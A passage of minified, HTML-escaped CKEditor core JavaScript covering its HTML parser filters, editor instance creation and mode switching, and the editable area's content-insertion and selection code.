&quot;&quot;],[/^data-cke-.*/,&quot;&quot;],[&quot;hidefocus&quot;,&quot;&quot;]],elements:{$:function(a){var b=a.attributes;if(b){if(b[&quot;data-cke-temp&quot;])return!1;for(var c=[&quot;name&quot;,&quot;href&quot;,&quot;src&quot;],d,f=0;f&lt;c.length;f++)d=&quot;data-cke-saved-&quot;+c[f],d in b&amp;&amp;delete b[c[f]]}return a},table:function(a){a.children.slice(0).sort(function(a,b){var c,d;a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;b.type==a.type&amp;&amp;(c=CKEDITOR.tools.indexOf(r,a.name),d=CKEDITOR.tools.indexOf(r,b.name));-1&lt;c&amp;&amp;-1&lt;d&amp;&amp;c!=d||(c=a.parent?a.getIndex():-1,d=b.parent?b.getIndex():-1);return c&gt;d?
1:-1})},param:function(a){a.children=[];a.isEmpty=!0;return a},span:function(a){&quot;Apple-style-span&quot;==a.attributes[&quot;class&quot;]&amp;&amp;delete a.name},html:function(a){delete a.attributes.contenteditable;delete a.attributes[&quot;class&quot;]},body:function(a){delete a.attributes.spellcheck;delete a.attributes.contenteditable},style:function(a){var b=a.children[0];b&amp;&amp;b.value&amp;&amp;(b.value=CKEDITOR.tools.trim(b.value));a.attributes.type||(a.attributes.type=&quot;text/css&quot;)},title:function(a){var b=a.children[0];!b&amp;&amp;k(a,b=new CKEDITOR.htmlParser.text);
b.value=a.attributes[&quot;data-cke-title&quot;]||&quot;&quot;},input:p,textarea:p},attributes:{&quot;class&quot;:function(a){return CKEDITOR.tools.ltrim(a.replace(/(?:^|\s+)cke_[^\s]*/g,&quot;&quot;))||!1}}};CKEDITOR.env.ie&amp;&amp;(t.attributes.style=function(a){return a.replace(/(^|;)([^\:]+)/g,function(a){return a.toLowerCase()})});var E=/&lt;(a|area|img|input|source)\b([^&gt;]*)&gt;/gi,y=/([\w-:]+)\s*=\s*(?:(?:&quot;[^&quot;]*&quot;)|(?:&#039;[^&#039;]*&#039;)|(?:[^ &quot;&#039;&gt;]+))/gi,I=/^(href|src|name)$/i,P=/(?:&lt;style(?=[ &gt;])[^&gt;]*&gt;[\s\S]*?&lt;\/style&gt;)|(?:&lt;(:?link|meta|base)[^&gt;]*&gt;)/gi,
O=/(&lt;textarea(?=[ &gt;])[^&gt;]*&gt;)([\s\S]*?)(?:&lt;\/textarea&gt;)/gi,l=/&lt;cke:encoded&gt;([^&lt;]*)&lt;\/cke:encoded&gt;/gi,K=new RegExp(&quot;(&quot;+z(&quot;\x3ccke:encoded\x3e&quot;)+&quot;(.*?)&quot;+z(&quot;\x3c/cke:encoded\x3e&quot;)+&quot;)|(&quot;+z(&quot;\x3c&quot;)+z(&quot;/&quot;)+&quot;?&quot;+z(&quot;cke:encoded\x3e&quot;)+&quot;)&quot;,&quot;gi&quot;),B=/(&lt;\/?)((?:object|embed|param|html|body|head|title)([\s][^&gt;]*)?&gt;)/gi,A=/(&lt;\/?)cke:((?:html|body|head|title)[^&gt;]*&gt;)/gi,J=/&lt;cke:(param|embed)([^&gt;]*?)\/?&gt;(?!\s*&lt;\/cke:\1)/gi})();&quot;use strict&quot;;
CKEDITOR.htmlParser.element=function(a,d){this.name=a;this.attributes=d||{};this.children=[];var b=a||&quot;&quot;,c=b.match(/^cke:(.*)/);c&amp;&amp;(b=c[1]);b=!!(CKEDITOR.dtd.$nonBodyContent[b]||CKEDITOR.dtd.$block[b]||CKEDITOR.dtd.$listItem[b]||CKEDITOR.dtd.$tableContent[b]||CKEDITOR.dtd.$nonEditable[b]||&quot;br&quot;==b);this.isEmpty=!!CKEDITOR.dtd.$empty[a];this.isUnknown=!CKEDITOR.dtd[a];this._={isBlockLike:b,hasInlineStarted:this.isEmpty||!b}};
CKEDITOR.htmlParser.cssStyle=function(a){var d={};((a instanceof CKEDITOR.htmlParser.element?a.attributes.style:a)||&quot;&quot;).replace(/&amp;quot;/g,&#039;&quot;&#039;).replace(/\s*([^ :;]+)\s*:\s*([^;]+)\s*(?=;|$)/g,function(a,c,f){&quot;font-family&quot;==c&amp;&amp;(f=f.replace(/[&quot;&#039;]/g,&quot;&quot;));d[c.toLowerCase()]=f});return{rules:d,populate:function(a){var c=this.toString();c&amp;&amp;(a instanceof CKEDITOR.dom.element?a.setAttribute(&quot;style&quot;,c):a instanceof CKEDITOR.htmlParser.element?a.attributes.style=c:a.style=c)},toString:function(){var a=[],c;
for(c in d)d[c]&amp;&amp;a.push(c,&quot;:&quot;,d[c],&quot;;&quot;);return a.join(&quot;&quot;)}}};
(function(){function a(a){return function(b){return b.type==CKEDITOR.NODE_ELEMENT&amp;&amp;(&quot;string&quot;==typeof a?b.name==a:b.name in a)}}var d=function(a,b){a=a[0];b=b[0];return a&lt;b?-1:a&gt;b?1:0},b=CKEDITOR.htmlParser.fragment.prototype;CKEDITOR.htmlParser.element.prototype=CKEDITOR.tools.extend(new CKEDITOR.htmlParser.node,{type:CKEDITOR.NODE_ELEMENT,add:b.add,clone:function(){return new CKEDITOR.htmlParser.element(this.name,this.attributes)},filter:function(a,b){var d=this,k,h;b=d.getFilterContext(b);if(!d.parent)a.onRoot(b,
d);for(;;){k=d.name;if(!(h=a.onElementName(b,k)))return this.remove(),!1;d.name=h;if(!(d=a.onElement(b,d)))return this.remove(),!1;if(d!==this)return this.replaceWith(d),!1;if(d.name==k)break;if(d.type!=CKEDITOR.NODE_ELEMENT)return this.replaceWith(d),!1;if(!d.name)return this.replaceWithChildren(),!1}k=d.attributes;var p,q;for(p in k){for(h=k[p];;)if(q=a.onAttributeName(b,p))if(q!=p)delete k[p],p=q;else break;else{delete k[p];break}q&amp;&amp;(!1===(h=a.onAttribute(b,d,q,h))?delete k[q]:k[q]=h)}d.isEmpty||
this.filterChildren(a,!1,b);return!0},filterChildren:b.filterChildren,writeHtml:function(a,b){b&amp;&amp;this.filter(b);var g=this.name,k=[],h=this.attributes,p,q;a.openTag(g,h);for(p in h)k.push([p,h[p]]);a.sortAttributes&amp;&amp;k.sort(d);p=0;for(q=k.length;p&lt;q;p++)h=k[p],a.attribute(h[0],h[1]);a.openTagClose(g,this.isEmpty);this.writeChildrenHtml(a);this.isEmpty||a.closeTag(g)},writeChildrenHtml:b.writeChildrenHtml,replaceWithChildren:function(){for(var a=this.children,b=a.length;b;)a[--b].insertAfter(this);
this.remove()},forEach:b.forEach,getFirst:function(b){if(!b)return this.children.length?this.children[0]:null;&quot;function&quot;!=typeof b&amp;&amp;(b=a(b));for(var d=0,g=this.children.length;d&lt;g;++d)if(b(this.children[d]))return this.children[d];return null},getHtml:function(){var a=new CKEDITOR.htmlParser.basicWriter;this.writeChildrenHtml(a);return a.getHtml()},setHtml:function(a){a=this.children=CKEDITOR.htmlParser.fragment.fromHtml(a).children;for(var b=0,d=a.length;b&lt;d;++b)a[b].parent=this},getOuterHtml:function(){var a=
new CKEDITOR.htmlParser.basicWriter;this.writeHtml(a);return a.getHtml()},split:function(a){for(var b=this.children.splice(a,this.children.length-a),d=this.clone(),k=0;k&lt;b.length;++k)b[k].parent=d;d.children=b;b[0]&amp;&amp;(b[0].previous=null);0&lt;a&amp;&amp;(this.children[a-1].next=null);this.parent.add(d,this.getIndex()+1);return d},find:function(a,b){void 0===b&amp;&amp;(b=!1);var d=[],k;for(k=0;k&lt;this.children.length;k++){var h=this.children[k];&quot;function&quot;==typeof a&amp;&amp;a(h)?d.push(h):&quot;string&quot;==typeof a&amp;&amp;h.name===a&amp;&amp;d.push(h);
b&amp;&amp;h.find&amp;&amp;(d=d.concat(h.find(a,b)))}return d},addClass:function(a){if(!this.hasClass(a)){var b=this.attributes[&quot;class&quot;]||&quot;&quot;;this.attributes[&quot;class&quot;]=b+(b?&quot; &quot;:&quot;&quot;)+a}},removeClass:function(a){var b=this.attributes[&quot;class&quot;];b&amp;&amp;((b=CKEDITOR.tools.trim(b.replace(new RegExp(&quot;(?:\\s+|^)&quot;+a+&quot;(?:\\s+|$)&quot;),&quot; &quot;)))?this.attributes[&quot;class&quot;]=b:delete this.attributes[&quot;class&quot;])},hasClass:function(a){var b=this.attributes[&quot;class&quot;];return b?(new RegExp(&quot;(?:^|\\s)&quot;+a+&quot;(?\x3d\\s|$)&quot;)).test(b):!1},getFilterContext:function(a){var b=
[];a||(a={nonEditable:!1,nestedEditable:!1});a.nonEditable||&quot;false&quot;!=this.attributes.contenteditable?a.nonEditable&amp;&amp;!a.nestedEditable&amp;&amp;&quot;true&quot;==this.attributes.contenteditable&amp;&amp;b.push(&quot;nestedEditable&quot;,!0):b.push(&quot;nonEditable&quot;,!0);if(b.length){a=CKEDITOR.tools.copy(a);for(var d=0;d&lt;b.length;d+=2)a[b[d]]=b[d+1]}return a}},!0)})();
(function(){var a=/{([^}]+)}/g;CKEDITOR.template=function(a){this.source=String(a)};CKEDITOR.template.prototype.output=function(d,b){var c=this.source.replace(a,function(a,b){return void 0!==d[b]?d[b]:a});return b?b.push(c):c}})();delete CKEDITOR.loadFullCore;CKEDITOR.instances={};CKEDITOR.document=new CKEDITOR.dom.document(document);
CKEDITOR.add=function(a){CKEDITOR.instances[a.name]=a;a.on(&quot;focus&quot;,function(){CKEDITOR.currentInstance!=a&amp;&amp;(CKEDITOR.currentInstance=a,CKEDITOR.fire(&quot;currentInstance&quot;))});a.on(&quot;blur&quot;,function(){CKEDITOR.currentInstance==a&amp;&amp;(CKEDITOR.currentInstance=null,CKEDITOR.fire(&quot;currentInstance&quot;))});CKEDITOR.fire(&quot;instance&quot;,null,a)};CKEDITOR.remove=function(a){delete CKEDITOR.instances[a.name]};
(function(){var a={};CKEDITOR.addTemplate=function(d,b){var c=a[d];if(c)return c;c={name:d,source:b};CKEDITOR.fire(&quot;template&quot;,c);return a[d]=new CKEDITOR.template(c.source)};CKEDITOR.getTemplate=function(d){return a[d]}})();(function(){var a=[];CKEDITOR.addCss=function(d){a.push(d)};CKEDITOR.getCss=function(){return a.join(&quot;\n&quot;)}})();CKEDITOR.on(&quot;instanceDestroyed&quot;,function(){CKEDITOR.tools.isEmpty(this.instances)&amp;&amp;CKEDITOR.fire(&quot;reset&quot;)});CKEDITOR.TRISTATE_ON=1;CKEDITOR.TRISTATE_OFF=2;
CKEDITOR.TRISTATE_DISABLED=0;
(function(){CKEDITOR.inline=function(a,d){if(!CKEDITOR.env.isCompatible)return null;a=CKEDITOR.dom.element.get(a);if(a.getEditor())throw&#039;The editor instance &quot;&#039;+a.getEditor().name+&#039;&quot; is already attached to the provided element.&#039;;var b=new CKEDITOR.editor(d,a,CKEDITOR.ELEMENT_MODE_INLINE),c=a.is(&quot;textarea&quot;)?a:null;c?(b.setData(c.getValue(),null,!0),a=CKEDITOR.dom.element.createFromHtml(&#039;\x3cdiv contenteditable\x3d&quot;&#039;+!!b.readOnly+&#039;&quot; class\x3d&quot;cke_textarea_inline&quot;\x3e&#039;+c.getValue()+&quot;\x3c/div\x3e&quot;,CKEDITOR.document),
a.insertAfter(c),c.hide(),c.$.form&amp;&amp;b._attachToForm()):b.setData(a.getHtml(),null,!0);b.on(&quot;loaded&quot;,function(){b.fire(&quot;uiReady&quot;);b.editable(a);b.container=a;b.ui.contentsElement=a;b.setData(b.getData(1));b.resetDirty();b.fire(&quot;contentDom&quot;);b.mode=&quot;wysiwyg&quot;;b.fire(&quot;mode&quot;);b.status=&quot;ready&quot;;b.fireOnce(&quot;instanceReady&quot;);CKEDITOR.fire(&quot;instanceReady&quot;,null,b)},null,null,1E4);b.on(&quot;destroy&quot;,function(){c&amp;&amp;(b.container.clearCustomData(),b.container.remove(),c.show());b.element.clearCustomData();delete b.element});
return b};CKEDITOR.inlineAll=function(){var a,d,b;for(b in CKEDITOR.dtd.$editable)for(var c=CKEDITOR.document.getElementsByTag(b),f=0,g=c.count();f&lt;g;f++)a=c.getItem(f),&quot;true&quot;==a.getAttribute(&quot;contenteditable&quot;)&amp;&amp;(d={element:a,config:{}},!1!==CKEDITOR.fire(&quot;inline&quot;,d)&amp;&amp;CKEDITOR.inline(a,d.config))};CKEDITOR.domReady(function(){!CKEDITOR.disableAutoInline&amp;&amp;CKEDITOR.inlineAll()})})();CKEDITOR.replaceClass=&quot;ckeditor&quot;;
(function(){function a(a,f,g,k){if(!CKEDITOR.env.isCompatible)return null;a=CKEDITOR.dom.element.get(a);if(a.getEditor())throw&#039;The editor instance &quot;&#039;+a.getEditor().name+&#039;&quot; is already attached to the provided element.&#039;;var h=new CKEDITOR.editor(f,a,k);k==CKEDITOR.ELEMENT_MODE_REPLACE&amp;&amp;(a.setStyle(&quot;visibility&quot;,&quot;hidden&quot;),h._.required=a.hasAttribute(&quot;required&quot;),a.removeAttribute(&quot;required&quot;));g&amp;&amp;h.setData(g,null,!0);h.on(&quot;loaded&quot;,function(){b(h);k==CKEDITOR.ELEMENT_MODE_REPLACE&amp;&amp;h.config.autoUpdateElement&amp;&amp;
a.$.form&amp;&amp;h._attachToForm();h.setMode(h.config.startupMode,function(){h.resetDirty();h.status=&quot;ready&quot;;h.fireOnce(&quot;instanceReady&quot;);CKEDITOR.fire(&quot;instanceReady&quot;,null,h)})});h.on(&quot;destroy&quot;,d);return h}function d(){var a=this.container,b=this.element;a&amp;&amp;(a.clearCustomData(),a.remove());b&amp;&amp;(b.clearCustomData(),this.elementMode==CKEDITOR.ELEMENT_MODE_REPLACE&amp;&amp;(b.show(),this._.required&amp;&amp;b.setAttribute(&quot;required&quot;,&quot;required&quot;)),delete this.element)}function b(a){var b=a.name,d=a.element,k=a.elementMode,h=
a.fire(&quot;uiSpace&quot;,{space:&quot;top&quot;,html:&quot;&quot;}).html,p=a.fire(&quot;uiSpace&quot;,{space:&quot;bottom&quot;,html:&quot;&quot;}).html,q=new CKEDITOR.template(&#039;\x3c{outerEl} id\x3d&quot;cke_{name}&quot; class\x3d&quot;{id} cke cke_reset cke_chrome cke_editor_{name} cke_{langDir} &#039;+CKEDITOR.env.cssClass+&#039;&quot;  dir\x3d&quot;{langDir}&quot; lang\x3d&quot;{langCode}&quot; role\x3d&quot;application&quot;&#039;+(a.title?&#039; aria-labelledby\x3d&quot;cke_{name}_arialbl&quot;&#039;:&quot;&quot;)+&quot;\x3e&quot;+(a.title?&#039;\x3cspan id\x3d&quot;cke_{name}_arialbl&quot; class\x3d&quot;cke_voice_label&quot;\x3e{voiceLabel}\x3c/span\x3e&#039;:&quot;&quot;)+&#039;\x3c{outerEl} class\x3d&quot;cke_inner cke_reset&quot; role\x3d&quot;presentation&quot;\x3e{topHtml}\x3c{outerEl} id\x3d&quot;{contentId}&quot; class\x3d&quot;cke_contents cke_reset&quot; role\x3d&quot;presentation&quot;\x3e\x3c/{outerEl}\x3e{bottomHtml}\x3c/{outerEl}\x3e\x3c/{outerEl}\x3e&#039;),
b=CKEDITOR.dom.element.createFromHtml(q.output({id:a.id,name:b,langDir:a.lang.dir,langCode:a.langCode,voiceLabel:a.title,topHtml:h?&#039;\x3cspan id\x3d&quot;&#039;+a.ui.spaceId(&quot;top&quot;)+&#039;&quot; class\x3d&quot;cke_top cke_reset_all&quot; role\x3d&quot;presentation&quot; style\x3d&quot;height:auto&quot;\x3e&#039;+h+&quot;\x3c/span\x3e&quot;:&quot;&quot;,contentId:a.ui.spaceId(&quot;contents&quot;),bottomHtml:p?&#039;\x3cspan id\x3d&quot;&#039;+a.ui.spaceId(&quot;bottom&quot;)+&#039;&quot; class\x3d&quot;cke_bottom cke_reset_all&quot; role\x3d&quot;presentation&quot;\x3e&#039;+p+&quot;\x3c/span\x3e&quot;:&quot;&quot;,outerEl:CKEDITOR.env.ie?&quot;span&quot;:&quot;div&quot;}));k==CKEDITOR.ELEMENT_MODE_REPLACE?
(d.hide(),b.insertAfter(d)):d.append(b);a.container=b;a.ui.contentsElement=a.ui.space(&quot;contents&quot;);h&amp;&amp;a.ui.space(&quot;top&quot;).unselectable();p&amp;&amp;a.ui.space(&quot;bottom&quot;).unselectable();d=a.config.width;k=a.config.height;d&amp;&amp;b.setStyle(&quot;width&quot;,CKEDITOR.tools.cssLength(d));k&amp;&amp;a.ui.space(&quot;contents&quot;).setStyle(&quot;height&quot;,CKEDITOR.tools.cssLength(k));b.disableContextMenu();CKEDITOR.env.webkit&amp;&amp;b.on(&quot;focus&quot;,function(){a.focus()});a.fireOnce(&quot;uiReady&quot;)}CKEDITOR.replace=function(b,d){return a(b,d,null,CKEDITOR.ELEMENT_MODE_REPLACE)};
CKEDITOR.appendTo=function(b,d,g){return a(b,d,g,CKEDITOR.ELEMENT_MODE_APPENDTO)};CKEDITOR.replaceAll=function(){for(var a=document.getElementsByTagName(&quot;textarea&quot;),b=0;b&lt;a.length;b++){var d=null,k=a[b];if(k.name||k.id){if(&quot;string&quot;==typeof arguments[0]){if(!(new RegExp(&quot;(?:^|\\s)&quot;+arguments[0]+&quot;(?:$|\\s)&quot;)).test(k.className))continue}else if(&quot;function&quot;==typeof arguments[0]&amp;&amp;(d={},!1===arguments[0](k,d)))continue;this.replace(k,d)}}};CKEDITOR.editor.prototype.addMode=function(a,b){(this._.modes||(this._.modes=
{}))[a]=b};CKEDITOR.editor.prototype.setMode=function(a,b){var d=this,k=this._.modes;if(a!=d.mode&amp;&amp;k&amp;&amp;k[a]){d.fire(&quot;beforeSetMode&quot;,a);if(d.mode){var h=d.checkDirty(),k=d._.previousModeData,p,q=0;d.fire(&quot;beforeModeUnload&quot;);d.editable(0);d._.previousMode=d.mode;d._.previousModeData=p=d.getData(1);&quot;source&quot;==d.mode&amp;&amp;k==p&amp;&amp;(d.fire(&quot;lockSnapshot&quot;,{forceUpdate:!0}),q=1);d.ui.space(&quot;contents&quot;).setHtml(&quot;&quot;);d.mode=&quot;&quot;}else d._.previousModeData=d.getData(1);this._.modes[a](function(){d.mode=a;void 0!==h&amp;&amp;!h&amp;&amp;
d.resetDirty();q?d.fire(&quot;unlockSnapshot&quot;):&quot;wysiwyg&quot;==a&amp;&amp;d.fire(&quot;saveSnapshot&quot;);setTimeout(function(){d.fire(&quot;mode&quot;);b&amp;&amp;b.call(d)},0)})}};CKEDITOR.editor.prototype.resize=function(a,b,d,k){var h=this.container,p=this.ui.space(&quot;contents&quot;),q=CKEDITOR.env.webkit&amp;&amp;this.document&amp;&amp;this.document.getWindow().$.frameElement;k=k?this.container.getFirst(function(a){return a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;a.hasClass(&quot;cke_inner&quot;)}):h;k.setSize(&quot;width&quot;,a,!0);q&amp;&amp;(q.style.width=&quot;1%&quot;);var e=(k.$.offsetHeight||0)-(p.$.clientHeight||
0),h=Math.max(b-(d?0:e),0);b=d?b+e:b;p.setStyle(&quot;height&quot;,h+&quot;px&quot;);q&amp;&amp;(q.style.width=&quot;100%&quot;);this.fire(&quot;resize&quot;,{outerHeight:b,contentsHeight:h,outerWidth:a||k.getSize(&quot;width&quot;)})};CKEDITOR.editor.prototype.getResizable=function(a){return a?this.ui.space(&quot;contents&quot;):this.container};CKEDITOR.domReady(function(){CKEDITOR.replaceClass&amp;&amp;CKEDITOR.replaceAll(CKEDITOR.replaceClass)})})();CKEDITOR.config.startupMode=&quot;wysiwyg&quot;;
(function(){function a(a){var b=a.editor,e=a.data.path,f=e.blockLimit,g=a.data.selection,h=g.getRanges()[0],t;if(CKEDITOR.env.gecko||CKEDITOR.env.ie&amp;&amp;CKEDITOR.env.needsBrFiller)if(g=d(g,e))g.appendBogus(),t=CKEDITOR.env.ie;k(b,e.block,f)&amp;&amp;h.collapsed&amp;&amp;!h.getCommonAncestor().isReadOnly()&amp;&amp;(e=h.clone(),e.enlarge(CKEDITOR.ENLARGE_BLOCK_CONTENTS),f=new CKEDITOR.dom.walker(e),f.guard=function(a){return!c(a)||a.type==CKEDITOR.NODE_COMMENT||a.isReadOnly()},!f.checkForward()||e.checkStartOfBlock()&amp;&amp;e.checkEndOfBlock())&amp;&amp;
(b=h.fixBlock(!0,b.activeEnterMode==CKEDITOR.ENTER_DIV?&quot;div&quot;:&quot;p&quot;),CKEDITOR.env.needsBrFiller||(b=b.getFirst(c))&amp;&amp;b.type==CKEDITOR.NODE_TEXT&amp;&amp;CKEDITOR.tools.trim(b.getText()).match(/^(?:&amp;nbsp;|\xa0)$/)&amp;&amp;b.remove(),t=1,a.cancel());t&amp;&amp;h.select()}function d(a,b){if(a.isFake)return 0;var d=b.block||b.blockLimit,e=d&amp;&amp;d.getLast(c);if(!(!d||!d.isBlockBoundary()||e&amp;&amp;e.type==CKEDITOR.NODE_ELEMENT&amp;&amp;e.isBlockBoundary()||d.is(&quot;pre&quot;)||d.getBogus()))return d}function b(a){var b=a.data.getTarget();b.is(&quot;input&quot;)&amp;&amp;
(b=b.getAttribute(&quot;type&quot;),&quot;submit&quot;!=b&amp;&amp;&quot;reset&quot;!=b||a.data.preventDefault())}function c(a){return e(a)&amp;&amp;x(a)}function f(a,b){return function(c){var d=c.data.$.toElement||c.data.$.fromElement||c.data.$.relatedTarget;(d=d&amp;&amp;d.nodeType==CKEDITOR.NODE_ELEMENT?new CKEDITOR.dom.element(d):null)&amp;&amp;(b.equals(d)||b.contains(d))||a.call(this,c)}}function g(a){function b(a){return function(b,e){e&amp;&amp;b.type==CKEDITOR.NODE_ELEMENT&amp;&amp;b.is(f)&amp;&amp;(d=b);if(!(e||!c(b)||a&amp;&amp;z(b)))return!1}}var d,e=a.getRanges()[0];a=a.root;
var f={table:1,ul:1,ol:1,dl:1};if(e.startPath().contains(f)){var g=e.clone();g.collapse(1);g.setStartAt(a,CKEDITOR.POSITION_AFTER_START);a=new CKEDITOR.dom.walker(g);a.guard=b();a.checkBackward();if(d)return g=e.clone(),g.collapse(),g.setEndAt(d,CKEDITOR.POSITION_AFTER_END),a=new CKEDITOR.dom.walker(g),a.guard=b(!0),d=!1,a.checkForward(),d}return null}function k(a,b,c){return!1!==a.config.autoParagraph&amp;&amp;a.activeEnterMode!=CKEDITOR.ENTER_BR&amp;&amp;(a.editable().equals(c)&amp;&amp;!b||b&amp;&amp;&quot;true&quot;==b.getAttribute(&quot;contenteditable&quot;))}
function h(a){return a.activeEnterMode!=CKEDITOR.ENTER_BR&amp;&amp;!1!==a.config.autoParagraph?a.activeEnterMode==CKEDITOR.ENTER_DIV?&quot;div&quot;:&quot;p&quot;:!1}function p(a){var b=a.editor;b.getSelection().scrollIntoView();setTimeout(function(){b.fire(&quot;saveSnapshot&quot;)},0)}function q(a,b,c){var d=a.getCommonAncestor(b);for(b=a=c?b:a;(a=a.getParent())&amp;&amp;!d.equals(a)&amp;&amp;1==a.getChildCount();)b=a;b.remove()}var e,x,w,z,F,v,m,M,u,H;CKEDITOR.editable=CKEDITOR.tools.createClass({base:CKEDITOR.dom.element,$:function(a,b){this.base(b.$||
b);this.editor=a;this.status=&quot;unloaded&quot;;this.hasFocus=!1;this.setup()},proto:{focus:function(){var a;if(CKEDITOR.env.webkit&amp;&amp;!this.hasFocus&amp;&amp;(a=this.editor._.previousActive||this.getDocument().getActive(),this.contains(a))){a.focus();return}CKEDITOR.env.edge&amp;&amp;14&lt;CKEDITOR.env.version&amp;&amp;!this.hasFocus&amp;&amp;this.getDocument().equals(CKEDITOR.document)&amp;&amp;(this.editor._.previousScrollTop=this.$.scrollTop);try{if(!CKEDITOR.env.ie||CKEDITOR.env.edge&amp;&amp;14&lt;CKEDITOR.env.version||!this.getDocument().equals(CKEDITOR.document))if(CKEDITOR.env.chrome){var b=
this.$.scrollTop;this.$.focus();this.$.scrollTop=b}else this.$.focus();else this.$.setActive()}catch(c){if(!CKEDITOR.env.ie)throw c;}CKEDITOR.env.safari&amp;&amp;!this.isInline()&amp;&amp;(a=CKEDITOR.document.getActive(),a.equals(this.getWindow().getFrame())||this.getWindow().focus())},on:function(a,b){var c=Array.prototype.slice.call(arguments,0);CKEDITOR.env.ie&amp;&amp;/^focus|blur$/.exec(a)&amp;&amp;(a=&quot;focus&quot;==a?&quot;focusin&quot;:&quot;focusout&quot;,b=f(b,this),c[0]=a,c[1]=b);return CKEDITOR.dom.element.prototype.on.apply(this,c)},attachListener:function(a){!this._.listeners&amp;&amp;
(this._.listeners=[]);var b=Array.prototype.slice.call(arguments,1),b=a.on.apply(a,b);this._.listeners.push(b);return b},clearListeners:function(){var a=this._.listeners;try{for(;a.length;)a.pop().removeListener()}catch(b){}},restoreAttrs:function(){var a=this._.attrChanges,b,c;for(c in a)a.hasOwnProperty(c)&amp;&amp;(b=a[c],null!==b?this.setAttribute(c,b):this.removeAttribute(c))},attachClass:function(a){var b=this.getCustomData(&quot;classes&quot;);this.hasClass(a)||(!b&amp;&amp;(b=[]),b.push(a),this.setCustomData(&quot;classes&quot;,
b),this.addClass(a))},changeAttr:function(a,b){var c=this.getAttribute(a);b!==c&amp;&amp;(!this._.attrChanges&amp;&amp;(this._.attrChanges={}),a in this._.attrChanges||(this._.attrChanges[a]=c),this.setAttribute(a,b))},insertText:function(a){this.editor.focus();this.insertHtml(this.transformPlainTextToHtml(a),&quot;text&quot;)},transformPlainTextToHtml:function(a){var b=this.editor.getSelection().getStartElement().hasAscendant(&quot;pre&quot;,!0)?CKEDITOR.ENTER_BR:this.editor.activeEnterMode;return CKEDITOR.tools.transformPlainTextToHtml(a,
b)},insertHtml:function(a,b,c){var d=this.editor;d.focus();d.fire(&quot;saveSnapshot&quot;);c||(c=d.getSelection().getRanges()[0]);v(this,b||&quot;html&quot;,a,c);c.select();p(this);this.editor.fire(&quot;afterInsertHtml&quot;,{})},insertHtmlIntoRange:function(a,b,c){v(this,c||&quot;html&quot;,a,b);this.editor.fire(&quot;afterInsertHtml&quot;,{intoRange:b})},insertElement:function(a,b){var d=this.editor;d.focus();d.fire(&quot;saveSnapshot&quot;);var e=d.activeEnterMode,d=d.getSelection(),f=a.getName(),f=CKEDITOR.dtd.$block[f];b||(b=d.getRanges()[0]);this.insertElementIntoRange(a,
b)&amp;&amp;(b.moveToPosition(a,CKEDITOR.POSITION_AFTER_END),f&amp;&amp;((f=a.getNext(function(a){return c(a)&amp;&amp;!z(a)}))&amp;&amp;f.type==CKEDITOR.NODE_ELEMENT&amp;&amp;f.is(CKEDITOR.dtd.$block)?f.getDtd()[&quot;#&quot;]?b.moveToElementEditStart(f):b.moveToElementEditEnd(a):f||e==CKEDITOR.ENTER_BR||(f=b.fixBlock(!0,e==CKEDITOR.ENTER_DIV?&quot;div&quot;:&quot;p&quot;),b.moveToElementEditStart(f))));d.selectRanges([b]);p(this)},insertElementIntoSelection:function(a){this.insertElement(a)},insertElementIntoRange:function(a,b){var c=this.editor,d=c.config.enterMode,
e=a.getName(),f=CKEDITOR.dtd.$block[e];if(b.checkReadOnly())return!1;b.deleteContents(1);b.startContainer.type==CKEDITOR.NODE_ELEMENT&amp;&amp;(b.startContainer.is({tr:1,table:1,tbody:1,thead:1,tfoot:1})?m(b):b.startContainer.is(CKEDITOR.dtd.$list)&amp;&amp;M(b));var t,g;if(f)for(;(t=b.getCommonAncestor(0,1))&amp;&amp;(g=CKEDITOR.dtd[t.getName()])&amp;&amp;(!g||!g[e]);)t.getName()in CKEDITOR.dtd.span?b.splitElement(t):b.checkStartOfBlock()&amp;&amp;b.checkEndOfBlock()?(b.setStartBefore(t),b.collapse(!0),t.remove()):b.splitBlock(d==CKEDITOR.ENTER_DIV?
&quot;div&quot;:&quot;p&quot;,c.editable());b.insertNode(a);return!0},setData:function(a,b){b||(a=this.editor.dataProcessor.toHtml(a));this.setHtml(a);this.fixInitialSelection();&quot;unloaded&quot;==this.status&amp;&amp;(this.status=&quot;ready&quot;);this.editor.fire(&quot;dataReady&quot;)},getData:function(a){var b=this.getHtml();a||(b=this.editor.dataProcessor.toDataFormat(b));return b},setReadOnly:function(a){this.setAttribute(&quot;contenteditable&quot;,!a)},detach:function(){this.removeClass(&quot;cke_editable&quot;);this.status=&quot;detached&quot;;var a=this.editor;this._.detach();
delete a.document;delete a.window},isInline:function(){return this.getDocument().equals(CKEDITOR.document)},fixInitialSelection:function(){function a(){var b=c.getDocument().$,d=b.getSelection(),e;a:if(d.anchorNode&amp;&amp;d.anchorNode==c.$)e=!0;else{if(CKEDITOR.env.webkit&amp;&amp;(e=c.getDocument().getActive())&amp;&amp;e.equals(c)&amp;&amp;!d.anchorNode){e=!0;break a}e=void 0}e&amp;&amp;(e=new CKEDITOR.dom.range(c),e.moveToElementEditStart(c),b=b.createRange(),b.setStart(e.startContainer.$,e.startOffset),b.collapse(!0),d.removeAllRanges(),
d.addRange(b))}function b(){var a=c.getDocument().$,d=a.selection,e=c.getDocument().getActive();&quot;None&quot;==d.type&amp;&amp;e.equals(c)&amp;&amp;(d=new CKEDITOR.dom.range(c),a=a.body.createTextRange(),d.moveToElementEditStart(c),d=d.startContainer,d.type!=CKEDITOR.NODE_ELEMENT&amp;&amp;(d=d.getParent()),a.moveToElementText(d.$),a.collapse(!0),a.select())}var c=this;if(CKEDITOR.env.ie&amp;&amp;(9&gt;CKEDITOR.env.version||CKEDITOR.env.quirks))this.hasFocus&amp;&amp;(this.focus(),b());else if(this.hasFocus)this.focus(),a();else this.once(&quot;focus&quot;,
function(){a()},null,null,-999)},getHtmlFromRange:function(a){if(a.collapsed)return new CKEDITOR.dom.documentFragment(a.document);a={doc:this.getDocument(),range:a.clone()};u.eol.detect(a,this);u.bogus.exclude(a);u.cell.shrink(a);a.fragment=a.range.cloneContents();u.tree.rebuild(a,this);u.eol.fix(a,this);return new CKEDITOR.dom.documentFragment(a.fragment.$)},extractHtmlFromRange:function(a,b){var c=H,d={range:a,doc:a.document},e=this.getHtmlFromRange(a);if(a.collapsed)return a.optimize(),e;a.enlarge(CKEDITOR.ENLARGE_INLINE,
